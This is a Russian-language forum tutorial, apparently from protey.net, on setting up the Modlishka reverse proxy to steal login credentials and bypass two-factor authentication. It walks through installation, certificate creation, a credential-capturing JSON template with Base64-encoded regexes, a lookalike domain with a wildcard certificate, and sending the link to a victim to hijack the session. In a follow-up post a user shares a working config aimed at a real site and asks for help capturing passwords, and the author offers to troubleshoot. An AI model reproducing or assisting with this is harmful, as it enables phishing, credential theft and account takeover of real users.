What's new

Article [Phishing] Modlishka - Reverse Proxy - Обходим 2FA

Vander 0

Vander

Staff member
Nov 10, 2019
468
1,156
Приветствую уважаемую аудиторию форума Protey.net

1626011637309.png

В этой статье я предлагаю рассмотреть метод кражи учетных данных пользователя, используя технологию reverse - proxy, которая позволит нам обойти двухфакторную аутентификацию.

Для этого мы будем использовать и настраивать инструмент, довольно известный в определенных кругах, под названием Modlishka.

1626011762328.png

Modlishka - мощный и гибкий обратный HTTP-прокси. Он реализует совершенно новый и интересный подход к обработке потока HTTP-трафика на основе браузера, который позволяет прозрачно проксировать многодоменный целевой трафик, как TLS, так и не-TLS, через один домен без необходимости установки какого-либо дополнительного сертификата на клиент.

Что именно это означает? Короче говоря, у него просто большой потенциал, который можно использовать во многих сценариях использования.

С точки зрения безопасности Modlishka в настоящее время может использоваться для:
  • Проведения этичных фишинговых тестов на проникновение с помощью прозрачного и автоматического компонента обратного прокси с универсальной поддержкой двухфакторной аутентификации.
  • Автоматического отравления кеша браузеров HTTP 301 и перманентного захвата URL-адресов, без TLS.
  • Диагностики и перехвата HTTP-трафика браузерных приложений с точки зрения атаки «Client Domain Hooking».
  • Оборачивания устаревших веб-сайтов в TLS, для запутывания ботов, автоматических сканеров и т.д.
Modlishka была написана как попытка преодолеть стандартные ограничения обратного прокси и как личный вызов, чтобы увидеть, что возможно при достаточной мотивации и небольшом дополнительном времени на исследование.

Достигнутые результаты оказались очень интересными, и инструмент был изначально выпущен, а затем обновлен с целью:
  • Выделить слабые места используемой в настоящее время схемы двухфакторной аутентификации (2FA), чтобы в отрасли могли быть созданы и внедрены адекватные решения безопасности.
  • Поддержиать другие проекты, которым может быть полезен универсальный и прозрачный обратный прокси.
  • Повысить осведомленность сообщества о современных методах и стратегиях фишинга и поддержать тестировщиков на проникновение в их повседневной работе.
Modlishka была в первую очередь написана для задач, связанных с безопасностью. Тем не менее, это может быть полезно в других сценариях использования, не связанных с безопасностью.

Эффективное проксирование!

Features

Общие:
  • Обратное проксирование HTTP и HTTPS произвольного домена по принципу «наведи и щелкни».
  • Полный контроль над потоком трафика TLS с перекрестным происхождением из браузеров ваших пользователей (без необходимости установки каких-либо дополнительных сертификатов на клиенте).
  • Простая и быстрая настройка с помощью параметров командной строки и файлов конфигурации JSON.
  • Внедрение полезной нагрузки JavaScript на основе шаблонов.
  • Обертывание веб-сайтов с дополнительной «безопасностью»: обертывание TLS, аутентификация, соответствующие заголовки безопасности и т. д.
  • Удаление веб-сайтов из всех заголовков шифрования и безопасности (назад к стилю MITM 90-х).
  • Дизайн без сохранения состояния. Можно легко масштабировать для обработки произвольного объема трафика - например, через балансировщик нагрузки DNS.
  • Может быть легко расширен вашими идеями с помощью модульных плагинов.
  • Плагин автоматического тестирования TLS-сертификата для прокси-домена (требуется самозаверяющий сертификат CA)
  • Написано на Go, поэтому работает практически на всех платформах и архитектурах: Windows, OSX, Linux, поддерживается BSD.
Связанные с безопасностью:
  • Поддержка большинства схем аутентификации 2FA (из коробки).
  • Практическая реализация атаки «Client Domain Hooking». Поддерживается диагностическим плагином.
  • Сбор учетных данных пользователя (с контекстом на основе идентификаторов, переданных параметром URL).
  • Плагин веб-панели со сводкой автоматически собираемых учетных данных и модуль олицетворения сеанса пользователя одним щелчком (proof-of-concept / beta).
  • Нет шаблонов веб-сайтов (просто укажите Modlishka на целевой домен - в большинстве случаев он будет обработан автоматически без дополнительной ручной настройки).
Installation

Последнюю версию исходного кода можно загрузить здесь (zip) или здесь (tar).

Получите код с помощью go get:

Code:
go get -u github.com/drk1wi/Modlishka
1626011818097.png

Осуществляем пробный запуск:

Code:
Modlishka
1626011873899.png

Вывод больше информативный, чем практический, но это указывает на отсутствие ошибок при установке.

Проверяем работу непосредственно обратного прокси сервера, выполняем следующую команду:

Code:
Modlishka -config /usr/local/Projects/pkg/mod/github.com/drk1wi/\!modlishka@v0.0.0-20200628043644-00a2385a0952/templates/google.com_gsuite.json
  • В качестве аргумента указываем дефолтный конфиг google.com
1626012248877.png

При переходе на локальный адрес сервера, где работает Modlishka, мы должны получить редирект на стартовую страницу Google.

1626011931719.png

Достигается это следующим образом:

Страница, которую мы запрашиваем содержит:

Code:
<a href="http://google.com">Found</a>
Соответственно ответ от сервера будет выглядеть так:

1626012061912.png

Двигаемся далее, создаем SSL сетрификат:

Code:
openssl genrsa -out MyRootCA.key 2048
1626012397499.png

Code:
openssl req -x509 -new -nodes -key MyRootCA.key -sha256 -days 1024 -out MyRootCA.pem
1625923054969.png

В итоге имеем два файла:

1625923153184.png

Копируем содержимое этих файлов в autocert.go.

1625927517518.png

Собираем заново.

Code:
make
1625927717345.png

Затем необходимо импортировать сертификат в браузер пользователя (это мы проворачиваем в тестовой среде), ниже разберем настройку с выделенным сервером, и "чистым" фишингом.

1625938859910.png


1625938883526.png

Представляем, что всё прошло идеально, и можно засылать фишинговую ссылку пользователю.

Перед тем как начнем, необходимо заглянуть в templates в директории с Modlishka. Нам доступно только два темплейта:
  • Google
  • Microsoft
Могу сразу сказать, что доступные нам дефолтные шаблоны Google и Microsoft не сработают, так что нам остается научится делать свои шаблоны.

Прелесть Modlishka, в том, что нам не нужно утомительно писать свой клон сайта, или делать что-то в духе phislets с Evilginx.

Темплейт представляет из себя json файл, просто копируем его и меняем под свои нужды.

1625939815202.png

Необходимо изменить пять ключевых параметров:
  • "target"
  • "trackingCookie"
  • "log"
  • "credParams"
  • "plugins"
"target" - Целевой сайт.

"trackingCookie" - Название параметра хранящего сессионный токен:

1625940123270.png

"log" - Имя файла, куда будут падать логи.

"credParams" - Сюда необходимо поместить в закодированном в Base64 виде, имена параметров + резулярные выражения которые будут характеризовать вводимые символы.

Перехватываем запрос авторизации на сайте:

1625940339126.png

Здесь нас интересуют два параметра:
  • login
  • password
Пишем регулярные выражения в духе:
  • login=((?:\w+[\.\-\_]){0,}\w+)&
  • password=((?:\w+[\.\-\_]){0,}\w+)&
И кодируем это всё в Base64:
  • bG9naW49KCg/Olx3K1tcLlwtXF9dKXswLH1cdyspJg==,cGFzc3dvcmQ9KCg/Olx3K1tcLlwtXF9dKXswLH1cdyspJg=="
Закидываем это всё в наш новый json темплейт.

"plugins" - Включаем все доступные плагины - "all"

Запускаем Modlishka следующей командой:

Code:
./proxy -config /usr/local/Projects/pkg/mod/github.com/drk1wi/\!modlishka@v0.0.0-20200628043644-00a2385a0952/templates/protey.json
Теперь, при переходе по ссылке:

Code:
https://loopback.modlishka.io
Мы попадаем на целевой сайт, где вводим учетные данные, которые успешно передаются атакующему:

1625941137006.png

К тому же, в панели управления Modlishka по адресу:

Code:
http://loopback.modlishka.io/SayHello2Modlishka
Мы получаем контроль над сессией жертвы, в этом и заключается принцип обхода 2FA, мы полностью контролируем сессию получив данные о сеансе пользователя.

1625941366180.png

Выглядит неплохо, но что если у атакующего нет возможности добавить сертификат в браузер жертвы?

Попробуем разобраться.

Для начала вернемся к редактированию конфигурационного файла. Добавим немного реализма к происходящему.

Жертва должна быть перенаправлена куда-нибудь после входа в систему, которая может быть, например, реальной учетной записью на форуме. В демонстрационных целях мы и будем рассматривать этот вариант.

"terminateRedirectUrl": "https://protey.net"

1625943742037.png

Затем нам понадобится сервер с "белым" IP-адресом, на котором будет располагаться Modlishka, можно использовать роутер + пробросить порты, если IP "белый" статический.

Будем считать, что всё это у вас уже есть и настроено. Покупаем созвучный домен, стараемся максимально мимикрировать под целевой сайт.

В моем случае, это беспалевный - phishing.protey.net

Далее раздобудем для него сертификат, можно купить, но для тестов сгодится и LetsEncrypt.

Code:
certbot certonly --manual --preferred-challenges dns --manual-public-ip-logging-ok -d '*.phishing.protey.net' -d phishing.protey.net
Следуя инструкции, добавляем TXT запись и получаем весь набор сертификатов.

1626008545543.png

Нас интересуют два файла:
  • fullchain.pem
  • privkey.pem
Копируем их в папку с Modlishka.

Вернемся к конфигурационному файлу, параметры:

"cert"
"certKey"


Принимают значения в одну строку, для этого на необходимо немного изменить файлы сертификатов:

Code:
sed -i ':a;N;$!ba;s/\n/\\n/g' privkey.pem
sed -i ':a;N;$!ba;s/\n/\\n/g' fullchain.pem
Затем просто копируем их содержимое, и подставляем в параметры, чтобы получилось так:

1626008886734.png

Ещё немного правок в конфигурационный файл:

"proxyDomain": "phishing.protey.net",
"trackingParam": "ident" - Для того, чтобы сохранялсь куки жертвы.
"terminateTriggers": "/whats-new/", - Нет необходимости держать жертву постоянно через прокси, создаем триггер, который при переходе на страницу "Что нового", будет обрывать сессию и перенаправлять пользователя на легитимный сайт.

Убеждаемся, что у нас всё готово к фишингу:
  • Сервер с Modlishka, роутер с белым статическим IP, проброс портов и т.д.
  • Куплен домен.
  • Получены сертификаты.
  • Нет ошибок в конфигурационном файле.
Запускаем Modlishka и делимся ссылкой с пользователем, чьи учетные данные нам хотелось бы получить.

Code:
./proxy -config /usr/local/Projects/pkg/mod/github.com/drk1wi/\!modlishka@v0.0.0-20200628043644-00a2385a0952/templates/protey.json
1626009275804.png

Результатом будут перехваченные учетные данные пользователя, а затем перенаправление пользователя, на реальный сайт.

1626011010512.png

В консоли управления Modlishka мы получаем всю необходимую информацию о сессии пользователя:

1626011164559.png

Вывод: Очень простой, универсальный и гибкий инструмент, однозначно полезен.

Спасибо за внимание, материал подготовлен специально для protey.net.​
 
Last edited:
H 0

h1tman

New Member
Dec 10, 2021
1
1
hello great tool, i have tried it out and running into problem while testing it grabs the username from this website but not the password even though i double check the regex can you help me out please


Proxying HTTP [protey.net] via [http://removed.asia]
[Fri Dec 10 03:07:37 2021] INF Username collected ID: [kKRBZG515f9AmOoJw0l37FfUqGpIAlr1] username: h1tman
[Fri Dec 10 03:08:43 2021] WAR rewriteResponse took 1.753680854s

"proxyDomain": "removed.asia",
"listeningAddress": "0.0.0.0",
"proxyAddress": "",
"target": "protey.net",
"targetResources": "",
"rules": "",
"terminateTriggers": "",
"terminateRedirectUrl": "",
"trackingCookie": "xf_session",
"trackingParam": "xf_session",
"jsRules": "",
"jsReflectParam": "reflect",
"debug": false,
"forceHTTPS": false,
"forceHTTP": false,
"dynamicMode": false,
"logPostOnly": false,
"disableSecurity": false,
"log": "protey.log",
"plugins": "all",
"credParams": "bG9naW49KCg/Olx3K1tcLlwtXF9dKXswLH1cdyspJg==, cGFzc3dvcmQ9KCg/Olx3K1tcLlwtXF9dKXswLH1cdyspJg==",
"cert": "",
"certKey": "",
"certPool": ""

}
 

Attachments

Vander 0

Vander

Staff member
Nov 10, 2019
468
1,156
Hello! Perhaps there is an error somewhere, in the json itself, but in the modlishka console itself, the password is not intercepted either? Let's try to figure out your problem.
 
Top Bottom